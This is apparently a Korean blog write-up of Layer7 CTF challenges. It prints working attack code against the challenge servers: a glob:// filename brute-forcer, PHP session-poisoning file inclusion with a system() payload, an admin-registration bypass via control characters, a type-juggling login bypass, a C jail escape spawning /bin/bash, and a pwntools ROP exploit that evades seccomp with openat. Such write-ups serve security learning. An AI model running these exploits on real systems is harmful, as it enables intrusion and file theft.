github twitter facebook email
Layer7CTF2019
Oct 8, 2019
8 minutes read

Layer7CTF 2017

1st - c2w2m2 ( 4432pt )

List

  • Web
    • Treasure Hunt
    • error
    • Gatecrasher
    • Login
  • Misc
    • Welcome to Layer7 CTF
    • C jail break revenge(?)
  • Rev
    • Do you know Android?
  • Pwn
    • How old are you?

Web

Treasure Hunt

<?php
session_start();

ini_set("display_errors",1);
ini_set("open_basedir",".");

$root = session_id();
if(!file_exists($root)) {
    mkdir($root);
}

$scan_result = scandir($root);
if($scan_result) {
    foreach($scan_result as $scan) {
        $file = sprintf('%s/%s',$root,$scan);
        if(is_file($file)) {
            $diff = strtotime(date('Y-m-d H:i:s')) - filectime($file);
            if($diff > 3600) {
                unlink($file);
            }
        }
    }
} else {
    trigger_error("No scan result");
}

if(isset($_FILES['upload'])) {
    $error = $_FILES['upload']['error'];
    $ext = array_pop(explode('.', $_FILES['upload']['name']));
    $tmp_name = $_FILES['upload']['tmp_name'];
    $size = $_FILES['upload']['size'];
    
    if($size > 1024 * 1024) {
        trigger_error("File size is too big", E_USER_ERROR);
    }
    if($error === 0) {
        $random = bin2hex(random_bytes(10));
  echo sprintf('%s/%s.%s',
                  $root, $random, $ext
             );   
       @move_uploaded_file($tmp_name,
            sprintf('%s/%s.%s',
                $root, $random, $ext
            )
        );
    }
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
    <input type="file" name="upload">
    <button>보내기</button>
</form>
<?php
}
highlight_file(__FILE__);
?>

적당히 파일명을 알면, 우리가 업로드한 php 파일을 실행할 수 있다.

6 ~ 24 번째 줄을 보면, $root 는 컨트롤할 수 있는 값이고, 파일 혹은 폴더가 존재하는지 확인하고, 없으면 만들고 일정 시간이 지난 파일들은 삭제하는 코드이다.

file_exists 함수 에서는 wrapper를 사용할 수 있다. file://, glob://, ftp:// 등이 있는데, 여기서는 glob://를 사용할 것이다.

glob://./{$root}/[0-9a-f]* 같은 포맷으로 No scan result 에러가 나는지 안나는지에 따라서 파일명을 읽어올 수 있다.

import requests
import sys

url = 'http://211.239.124.246:12104'
glob = 'glob://./'+sys.argv[1]+'/'

fname = ''

strings = '0123456789abcdef'

for i in range(0, 20):
    print '[+] ' + fname
    print '-'*40
    for s in strings:
        cookie = {}
        cookie['PHPSESSID'] = glob + fname + s + '*'
        res = requests.get(url, cookies=cookie).text
        if ':  No scan result in ' not in res:
            fname += s
            break

print fname

다음같이 파일명을 알아오고, phpinfo 함수를 통해 disabled_function 목록을 보니

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,chdir,link,syslogs,imap_open,ld,mail,putenv,ini_alter,chmod,chroot,chgrp,chown,dl,error_log,glob

다음같은게 막혀있었다. 구글링 좀 해보니 무려 2일전에 https://packetstormsecurity.com/files/154728/PHP-7.3-disable_functions-Bypass.html 다음 같은 코드가 공개되었다. 그래서 그냥 이용해서 풀었다.

Flag : LAYER7{sOm3tIm3s_wr4pp3r_GlOb_1s_useful}

error

처음 접속하면

Notice: Undefined index: file in /var/www/html/index.php on line 5

Notice: Undefined index: username in /var/www/html/include/home.php on line 7

Notice: Undefined index: username in /var/www/html/include/home.php on line 9

이런 에러를 띄운다. 여기서

  1. file를 받는다.
  2. username 을 받는다.
  3. /var/www/htmlindex.php 가 있고, include 폴더가 존재한다.

를 알 수 있다. https://error.canhack.me/include/ 에 접속하면 config.phphome.php 가 있다.

그리고 처음 들어가면 있는 인풋창에 값을 넣으면,

Notice: Undefined index: file in /var/www/html/index.php on line 5
hello, asdf

다음 같이 된다. 새로고침을 아무리해도 바뀌지 않는것으로 보아 세션으로 저장한다고 유추할 수 있다.

그리고 file 를 GET을 통해 받는다고 가정하고 넣어보았는데 에러가 없어져서 그 후 이것저것 넣어보았다.

https://error.canhack.me/?file=php://filter/convert.base64-encode/resource=include/home.php

을 넣어보니

Warning: include(./include/php://filter/convert.base64-encode/resource=include/home.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 11

Warning: include(): Failed opening './include/php://filter/convert.base64-encode/resource=include/home.php' for inclusion (include_path='.:/usr/share/php') in /var/www/html/index.php on line 11

include 에러가 잡혔다. 즉 우리가 넣은 fileinclude('./include/$_GET["file"]') 같은 형식으로 넣는다고 알 수 있었다.

그럼 우리가 유추 가능한

  1. username은 세션에 저장한다.
  2. fileinclude시킨다

를 이용해서 session을 통한 RCE가 가능하다.

username<?php phpinfo(); ?> 를 넣고,

../../../../../../var/lib/php/sessions/sess_9le4f90htr08le08veseacgn75file에 넣었는데, 정상적으로 진행되지를 않았다.

그래서

https://error.canhack.me/?file=php://filter/convert.base64-encode/resource=include/home.php

해당 에러가 나오는 포맷을 이리저리 고쳐보면서 알아낸 결과, php로 문자열이 끝나야 한다는것을 알았다.

따라 세션을 1fkc7n91f251n83rskmo46rphp 같은 모양으로 바꾸어주고 시도한 결과, 정상적으로 진행되었고

<?php system('cat include/config.php'); ?> 다음 같은 구문을 이용해서 flag를 얻었다.

Flag : LAYER7{8b8042e0e1b2b010c3bf13723600b2a7}

Gatecrasher

가입시 admin%0b%00 같은식으로 가입하면, admin중복 가입이 된다. 이를 통해서 $_SESSION['id']=='admin'을 할 수 있고,

$_SESSION['ip']같은 경우는 로그아웃할 때 unset을 하지 않음으로

일반유저 로그인 => 로그아웃 => admin 로그인 다음 순서를 따르게 되면 flag를 얻을 수 있다.

curl -X POST http://211.239.124.246:12103/index.php?action=join --cookie "a2773mgiag53ltl06331ohl6ne" --data "id=admin%0b%00&password=dlwnckd123&restrict=0"

Flag :LAYER7{Intrud3rs_succ3ssfully_inf1ltr4ted}

Login

<?php
session_start(); // session needed
require(dirname(__FILE__).DIRECTORY_SEPARATOR."config.php");
require(dirname(__FILE__).DIRECTORY_SEPARATOR."functions.php");
define("MAIN_PAGE", true);
define("SUPER_USER", "panghoddari");
$input = file_get_contents('php://input');
$header = custom_read("header");
$footer = custom_read("footer");
$format = $header[1]."%s".$footer[1];
unset($header, $footer); // unset variables
$contents = '';
if ($input) {
	$input = urldecode($input);
	$input = base64_decode($input);
	if (preg_match('/index|functions|config/i', $input)) $input = '';
	$input = str_replace('=', '', $input);
	$input = str_replace('&', '', $input);
	$input = explode("//", $input);
	$page  = $input[0];
	$type  = $input[1];
	define("USER", html_escape($input[2]));
	define("PASS", html_escape($input[3]));
	unset($input); // unset variable
	$data  = custom_read($page, $type);
	if (is_debug() && $data) 
		$contents .= sprintf("<!--".PHP_EOL."- Debug Information: ".PHP_EOL."%s".PHP_EOL."-->", $data[0]);
	$contents .= $data[1];
}else {
	$data  = custom_read("main");
	$contents .= $data[1];
}
printf($format, $contents);

힌트로 주어진 코드를 보면, &, = 가 replace 된다. 이를 이용해서

if (preg_match('/index|functions|config/i', $input)) $input = '';

해당 부분을 우회해서 functionsconfig를 읽어올 수 있다.

curl -X POST http://login.bincat.kr/ --data "base64.b64encode(b'functio&ns')"

// config.php
function custom_read($file, $type=0xdeadbeef, $dir='./', $ext='.php'){
	$file = explode(DIRECTORY_SEPARATOR, $file.$ext);
	switch($type){
		case (string)1:
			$file = basename($file[0]);
			break;
		default:
			if (count($file) > 1) {
				for($i=0; $i<count($file)-1; $i++) {
					$dir .= $file[$i].DIRECTORY_SEPARATOR;
				}
				$file = $dir.$file[count($file)-1];
			}else
				$file = $file[0];
			break;
	}
	ob_start();
	include_once(dirname(__FILE__).DIRECTORY_SEPARATOR.$file);
	$data = ob_get_contents();
	ob_end_clean();
	return [file_get_contents($file), $data];
}

function confirm_solvable(){
	if ((int)($_SESSION[SUPER_USER.'_A'] + $_SESSION[SUPER_USER.'_B']) == 2) return true;
	return false;
}

function alert($message="no one else..", $type="text/javascript"){
	$message = addslashes($message);
	die(sprintf("<script type='%s'>alert('%s');history.back();</script>", $type, $message));
}

function is_debug(){
	if (isset($_GET['debug'])) return true;
	return false;
}

function html_escape($input=''){ # similar to real parameter with general web-site
	$input = htmlspecialchars($input);
	$input = str_replace(array('"', "'"), array('&quot;', "&#039;"), $input);
	if (is_debug() && preg_match('/Array/i', $input))
		$input = str_replace('Array', '', $input);

	$offset = stripos($input, 'Array');
	if (strstr($input, 'Array'))
		if (!$input[$offset + 5])
			if ($offset - 1 == -1)
				$input = [];
			else
				$input = substr($input, 0, $offset).[];
		else
			$input = substr($input, 0, $offset).[].substr($input, $offset + 5, strlen($input));
	if (is_numeric($input)) $input = (int)$input;

	return $input;
}

function a_solve(){
	$_SESSION[SUPER_USER.'_A'] = true;
}

function b_solve(){
	$_SESSION[SUPER_USER.'_B'] = true;
}

function verify_user($user=SUPER_USER){
	$flag = 0;
	if ($user[USER] === PASS) $flag = 1;

	return $flag;
}
// login.php
if (hash('sha256', PASS) != hash('sha256', null))
	if ($user[USER] == PASS && USER !== PASS) {
		$verify_user = verify_user($user);
		if ($verify_user)
			if (USER == SUPER_USER) {
				printf("Welcome, <b style='font-size: 18pt;'>%s</b>!! I know you are the administrator of this site~", USER);
				a_solve();
			}else
				printf("Welcome, <b>%s</b>! Now your mission is to login as the super user!", USER);
		else if (USER != SUPER_USER)
			printf("You have tried to login with account <b>%s</b>, but the credentials for yours was wrong!", USER);
		else {
			printf("Hello, Hacker?? How did you do it?!");
			b_solve();
		}
	}else
		printf("You have tried to login with account <b>%s</b>, but the credentials for yours was wrong!", USER);

custom_read 를 보면 $type가 1일 경우에 단순 file[0]을 갖고 읽어온다. 다만

$file = explode(DIRECTORY_SEPARATOR, $file.$ext); 다음 부분때문에 뒤에 .php가 붙는데,

input을 userinfo.json/n//1 다음같이 주면 해당 구문을 우회하면서 읽을 수 있다.

curl -X POST http://login.bincat.kr/ --data "base64.b64encode(b'userinfo.json/n//1')"

{"panghoddari":"ezezpasswd~you_probably_dunno_the_passw0rd!_hahaha!","guest":"guest123"}

다음을 읽었으니, a_solve는 통과하였다. b_solve를 통과하기 위해서는 USER == SUPER_USER == 'panghoddari'가 되어야하고, verify_user 를 통과하지 못하여야한다.

처음 if 에서는 ==비교를, 그다음 verify_user 에서는 ===비교를 하기에 type confusion을 이용하여 풀면 된다.

html_escape 에서 if (is_numeric($input)) $input = (int)$input; 해당 구문이 있어 정상적으로 진행된다.

curl -X POST http://login.bincat.kr/ --data "base64.b64encode(b'login//1//panghoddari//ezezpasswd~you_probably_dunno_the_passw0rd!_hahaha!')"

curl -X POST http://login.bincat.kr/ --data "base64.b64encode(b'login//1//panghoddari//0')"

해당 명령어를 cookie에 PHPSESSID설정해주고 실행해준 다음 get_flag에 접근하면 flag를 얻을 수 있다.

Flag : LAYER7{dywma_skfTlrk_whgdmfEork_aksgdktj_rlQmek~~!!!}


MISC

Welcome to Layer7 CTF

Flag : LAYER7{10월 9일 한글날 기념 한글 플래그 세종대왕 만세}

C jail break revenge(?)

#define sys sys##tem 을 하면 sys("ls") == system("ls") 처럼 된다는 것을 이용하여 풀어주면 된다.

#define ma ma##in
#define sys sys##tem
ma(){
	sys("/bin/bash");
}

Flag : Layer7{~} ( 서버가 죽었어요.. )


Rev

Do you know Android?

http://www.javadecompilers.com/apk 가서 apk decomplie 하면

sources/p001kr/layer7/ctf/yeongyu/layer7/androidMain3Activity.java에 플래그가 있다.

Flag : LAYER7{good_to_study_android}


Pwn

###How old are you?

문제 내 hint로 /home/seccomp/flag 에 flag가 있다는 것을 알 수 있다.

image-20191007094620591

해당 read(0, &buf, 0x200) 에 bof가 있다. seccomp가 걸려있는데

 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x12 0xc000003e  if (A != ARCH_X86_64) goto 0020
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0f 0xffffffff  if (A != 0xffffffff) goto 0020
 0005: 0x15 0x0e 0x00 0x00000002  if (A == open) goto 0020
 0006: 0x15 0x0d 0x00 0x00000009  if (A == mmap) goto 0020
 0007: 0x15 0x0c 0x00 0x0000000a  if (A == mprotect) goto 0020
 0008: 0x15 0x0b 0x00 0x00000029  if (A == socket) goto 0020
 0009: 0x15 0x0a 0x00 0x00000038  if (A == clone) goto 0020
 0010: 0x15 0x09 0x00 0x0000003a  if (A == vfork) goto 0020
 0011: 0x15 0x08 0x00 0x0000003b  if (A == execve) goto 0020
 0012: 0x15 0x07 0x00 0x0000003e  if (A == kill) goto 0020
 0013: 0x15 0x06 0x00 0x00000065  if (A == ptrace) goto 0020
 0014: 0x15 0x05 0x00 0x0000009d  if (A == prctl) goto 0020
 0015: 0x15 0x04 0x00 0x00000130  if (A == open_by_handle_at) goto 0020
 0016: 0x15 0x03 0x00 0x00000142  if (A == execveat) goto 0020
 0017: 0x15 0x02 0x00 0x00000208  if (A == 0x208) goto 0020
 0018: 0x15 0x01 0x00 0x00000221  if (A == 0x221) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x06 0x00 0x00 0x00000000  return KILL

다음같이 걸려있고, openat이 막혀있지 않음으로 이를 이용해서 읽어주면된다.

from pwn import *

p = remote('211.239.124.246', 12403)
#p = process('./seccomp')
elf = ELF('./seccomp')
libc = elf.libc

poprdi = 0x400EB3
flag = '/home/seccomp/flag'
#flag = '/proc/self/cwd/flag'
#flag = '/proc/self/exe\x00'

p.sendlineafter('age : ', '1')

p.sendafter('name? : ', 'asdf')

pay = "A"*0x110 + "B"*8
pay += p64(poprdi) + p64(elf.got['puts']) + p64(elf.plt['puts'])
pay += p64(0x4009A0)

p.sendlineafter('age : ', '1')
p.sendafter('name? : ', pay)

p.recvuntil(':)\n')
leak = u64(p.recv(6).ljust(8,'\x00'))
libcbase = leak - libc.symbols['puts']
log.info('[LIBC] 0x%x' % libcbase)

poprax = libcbase + 0x0000000000033544
poprsi = libcbase + 0x00000000000202e8
poprdx = libcbase + 0x0000000000001b92
syscall = libcbase + 0x1158d5

context.log_level='debug'

p.sendlineafter('age : ', '1')
p.sendafter('name? : ', 'asdf')

p.sendlineafter('age : ', '1')
pay = "A"*0x110 + "B"*8

pay += p64(poprdi) + p64(0)
pay += p64(poprsi) + p64(0x602060+8)
pay += p64(poprdx) + p64(0x400)
pay += p64(poprax) + p64(0)
pay += p64(syscall)
pay += p64(0x4009A0)
p.sendlineafter('name? : ', pay)

p.sendline(flag + '\x00')

p.sendlineafter('age : ', '1')
p.sendafter('name? : ', 'asdf')

p.sendlineafter('age : ', '1')

pay = "A"*0x110 + "B"*8

pay += p64(poprdx) + p64(0)
pay += p64(poprsi) + p64(0x602060+8)
pay += p64(poprdi) + p64(-1 & 0xfffffffffffffff)
pay += p64(poprax) + p64(257)
pay += p64(syscall)

pay += p64(poprdi) + p64(3)
pay += p64(poprsi) + p64(0x602060+0x100)
pay += p64(poprdx) + p64(0x400)
pay += p64(poprax) + p64(0)
pay += p64(syscall)

pay += p64(poprdi) + p64(1)
pay += p64(poprsi) + p64(0x602060+0x100)
pay += p64(poprdx) + p64(0x400)
pay += p64(poprax) + p64(1)
pay += p64(syscall)

print len(pay)
pause()
p.sendafter('name? : ', pay)

p.interactive()

Flag : LAYER7{H3110_MY_NAM3_1S_OP3NAT!_AND_HOW_0LD_AR3_Y00o0o00o0o0o0ooooooo0000000000000000OOOOOOOOO00UuuuuUUUUUUUUuuuuuuuUUUU??!?!?!?!!!11111?!11111?11?}


Back to posts


comments powered by Disqus